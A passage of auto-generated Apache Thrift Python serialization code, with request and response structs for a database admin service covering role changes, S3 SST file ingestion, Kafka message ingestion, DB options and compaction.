if self.upstream_ip is not None:
oprot.writeFieldBegin('upstream_ip', TType.STRING, 3)
oprot.writeString(self.upstream_ip.encode('utf-8') if sys.version_info[0] == 2 else self.upstream_ip)
oprot.writeFieldEnd()
if self.upstream_port is not None:
oprot.writeFieldBegin('upstream_port', TType.I16, 4)
oprot.writeI16(self.upstream_port)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
if self.new_role is None:
raise TProtocolException(message='Required field new_role is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class ChangeDBRoleAndUpstreamResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('ChangeDBRoleAndUpstreamResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class GetSequenceNumberRequest(object):
"""
Attributes:
- db_name
"""
def __init__(self, db_name=None,):
self.db_name = db_name
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('GetSequenceNumberRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class GetSequenceNumberResponse(object):
"""
Attributes:
- seq_num
"""
def __init__(self, seq_num=None,):
self.seq_num = seq_num
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.I64:
self.seq_num = iprot.readI64()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('GetSequenceNumberResponse')
if self.seq_num is not None:
oprot.writeFieldBegin('seq_num', TType.I64, 1)
oprot.writeI64(self.seq_num)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.seq_num is None:
raise TProtocolException(message='Required field seq_num is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class ClearDBRequest(object):
"""
Attributes:
- db_name
- reopen_db
"""
def __init__(self, db_name=None, reopen_db=True,):
self.db_name = db_name
self.reopen_db = reopen_db
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.BOOL:
self.reopen_db = iprot.readBool()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('ClearDBRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.reopen_db is not None:
oprot.writeFieldBegin('reopen_db', TType.BOOL, 2)
oprot.writeBool(self.reopen_db)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class ClearDBResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('ClearDBResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class AddS3SstFilesToDBRequest(object):
"""
Attributes:
- db_name
- s3_bucket
- s3_path
- s3_download_limit_mb
- region
- overlapping
- should_compact
- ingest_behind
"""
def __init__(self, db_name=None, s3_bucket=None, s3_path=None, s3_download_limit_mb=64, region=None, overlapping=True, should_compact=True, ingest_behind=False,):
self.db_name = db_name
self.s3_bucket = s3_bucket
self.s3_path = s3_path
self.s3_download_limit_mb = s3_download_limit_mb
self.region = region
self.overlapping = overlapping
self.should_compact = should_compact
self.ingest_behind = ingest_behind
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.s3_bucket = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.s3_path = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.I32:
self.s3_download_limit_mb = iprot.readI32()
else:
iprot.skip(ftype)
elif fid == 5:
if ftype == TType.STRING:
self.region = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 6:
if ftype == TType.BOOL:
self.overlapping = iprot.readBool()
else:
iprot.skip(ftype)
elif fid == 7:
if ftype == TType.BOOL:
self.should_compact = iprot.readBool()
else:
iprot.skip(ftype)
elif fid == 8:
if ftype == TType.BOOL:
self.ingest_behind = iprot.readBool()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('AddS3SstFilesToDBRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.s3_bucket is not None:
oprot.writeFieldBegin('s3_bucket', TType.STRING, 2)
oprot.writeString(self.s3_bucket.encode('utf-8') if sys.version_info[0] == 2 else self.s3_bucket)
oprot.writeFieldEnd()
if self.s3_path is not None:
oprot.writeFieldBegin('s3_path', TType.STRING, 3)
oprot.writeString(self.s3_path.encode('utf-8') if sys.version_info[0] == 2 else self.s3_path)
oprot.writeFieldEnd()
if self.s3_download_limit_mb is not None:
oprot.writeFieldBegin('s3_download_limit_mb', TType.I32, 4)
oprot.writeI32(self.s3_download_limit_mb)
oprot.writeFieldEnd()
if self.region is not None:
oprot.writeFieldBegin('region', TType.STRING, 5)
oprot.writeString(self.region.encode('utf-8') if sys.version_info[0] == 2 else self.region)
oprot.writeFieldEnd()
if self.overlapping is not None:
oprot.writeFieldBegin('overlapping', TType.BOOL, 6)
oprot.writeBool(self.overlapping)
oprot.writeFieldEnd()
if self.should_compact is not None:
oprot.writeFieldBegin('should_compact', TType.BOOL, 7)
oprot.writeBool(self.should_compact)
oprot.writeFieldEnd()
if self.ingest_behind is not None:
oprot.writeFieldBegin('ingest_behind', TType.BOOL, 8)
oprot.writeBool(self.ingest_behind)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
if self.s3_bucket is None:
raise TProtocolException(message='Required field s3_bucket is unset!')
if self.s3_path is None:
raise TProtocolException(message='Required field s3_path is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class AddS3SstFilesToDBResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('AddS3SstFilesToDBResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class DownloadS3SstFilesRequest(object):
"""
Attributes:
- db_name
- s3_bucket
- s3_path
- s3_download_limit_mb
- region
"""
def __init__(self, db_name=None, s3_bucket=None, s3_path=None, s3_download_limit_mb=64, region=None,):
self.db_name = db_name
self.s3_bucket = s3_bucket
self.s3_path = s3_path
self.s3_download_limit_mb = s3_download_limit_mb
self.region = region
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.s3_bucket = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.s3_path = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.I32:
self.s3_download_limit_mb = iprot.readI32()
else:
iprot.skip(ftype)
elif fid == 5:
if ftype == TType.STRING:
self.region = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('DownloadS3SstFilesRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.s3_bucket is not None:
oprot.writeFieldBegin('s3_bucket', TType.STRING, 2)
oprot.writeString(self.s3_bucket.encode('utf-8') if sys.version_info[0] == 2 else self.s3_bucket)
oprot.writeFieldEnd()
if self.s3_path is not None:
oprot.writeFieldBegin('s3_path', TType.STRING, 3)
oprot.writeString(self.s3_path.encode('utf-8') if sys.version_info[0] == 2 else self.s3_path)
oprot.writeFieldEnd()
if self.s3_download_limit_mb is not None:
oprot.writeFieldBegin('s3_download_limit_mb', TType.I32, 4)
oprot.writeI32(self.s3_download_limit_mb)
oprot.writeFieldEnd()
if self.region is not None:
oprot.writeFieldBegin('region', TType.STRING, 5)
oprot.writeString(self.region.encode('utf-8') if sys.version_info[0] == 2 else self.region)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
if self.s3_bucket is None:
raise TProtocolException(message='Required field s3_bucket is unset!')
if self.s3_path is None:
raise TProtocolException(message='Required field s3_path is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class DownloadS3SstFilesResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('DownloadS3SstFilesResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class IngestSstsToDBRequest(object):
"""
Attributes:
- db_name
- s3_bucket
- s3_path
"""
def __init__(self, db_name=None, s3_bucket=None, s3_path=None,):
self.db_name = db_name
self.s3_bucket = s3_bucket
self.s3_path = s3_path
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.s3_bucket = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.s3_path = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('IngestSstsToDBRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.s3_bucket is not None:
oprot.writeFieldBegin('s3_bucket', TType.STRING, 2)
oprot.writeString(self.s3_bucket.encode('utf-8') if sys.version_info[0] == 2 else self.s3_bucket)
oprot.writeFieldEnd()
if self.s3_path is not None:
oprot.writeFieldBegin('s3_path', TType.STRING, 3)
oprot.writeString(self.s3_path.encode('utf-8') if sys.version_info[0] == 2 else self.s3_path)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class IngestSstsToDBResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('IngestSstsToDBResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class StartMessageIngestionRequest(object):
"""
Attributes:
- db_name
- topic_name
- kafka_broker_serverset_path
- replay_timestamp_ms
"""
def __init__(self, db_name=None, topic_name=None, kafka_broker_serverset_path=None, replay_timestamp_ms=None,):
self.db_name = db_name
self.topic_name = topic_name
self.kafka_broker_serverset_path = kafka_broker_serverset_path
self.replay_timestamp_ms = replay_timestamp_ms
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.topic_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.kafka_broker_serverset_path = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.I64:
self.replay_timestamp_ms = iprot.readI64()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('StartMessageIngestionRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.topic_name is not None:
oprot.writeFieldBegin('topic_name', TType.STRING, 2)
oprot.writeString(self.topic_name.encode('utf-8') if sys.version_info[0] == 2 else self.topic_name)
oprot.writeFieldEnd()
if self.kafka_broker_serverset_path is not None:
oprot.writeFieldBegin('kafka_broker_serverset_path', TType.STRING, 3)
oprot.writeString(self.kafka_broker_serverset_path.encode('utf-8') if sys.version_info[0] == 2 else self.kafka_broker_serverset_path)
oprot.writeFieldEnd()
if self.replay_timestamp_ms is not None:
oprot.writeFieldBegin('replay_timestamp_ms', TType.I64, 4)
oprot.writeI64(self.replay_timestamp_ms)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
if self.topic_name is None:
raise TProtocolException(message='Required field topic_name is unset!')
if self.kafka_broker_serverset_path is None:
raise TProtocolException(message='Required field kafka_broker_serverset_path is unset!')
if self.replay_timestamp_ms is None:
raise TProtocolException(message='Required field replay_timestamp_ms is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class StartMessageIngestionResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('StartMessageIngestionResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class StopMessageIngestionRequest(object):
"""
Attributes:
- db_name
"""
def __init__(self, db_name=None,):
self.db_name = db_name
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('StopMessageIngestionRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class StopMessageIngestionResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('StopMessageIngestionResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class SetDBOptionsRequest(object):
"""
Attributes:
- options
- db_name
"""
def __init__(self, options=None, db_name=None,):
self.options = options
self.db_name = db_name
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.MAP:
self.options = {}
(_ktype1, _vtype2, _size0) = iprot.readMapBegin()
for _i4 in range(_size0):
_key5 = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
_val6 = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
self.options[_key5] = _val6
iprot.readMapEnd()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('SetDBOptionsRequest')
if self.options is not None:
oprot.writeFieldBegin('options', TType.MAP, 1)
oprot.writeMapBegin(TType.STRING, TType.STRING, len(self.options))
for kiter7, viter8 in self.options.items():
oprot.writeString(kiter7.encode('utf-8') if sys.version_info[0] == 2 else kiter7)
oprot.writeString(viter8.encode('utf-8') if sys.version_info[0] == 2 else viter8)
oprot.writeMapEnd()
oprot.writeFieldEnd()
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 2)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.options is None:
raise TProtocolException(message='Required field options is unset!')
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class SetDBOptionsResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('SetDBOptionsResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class CompactDBRequest(object):
"""
Attributes:
- db_name
"""
def __init__(self, db_name=None,):
self.db_name = db_name
def read(self, iprot):
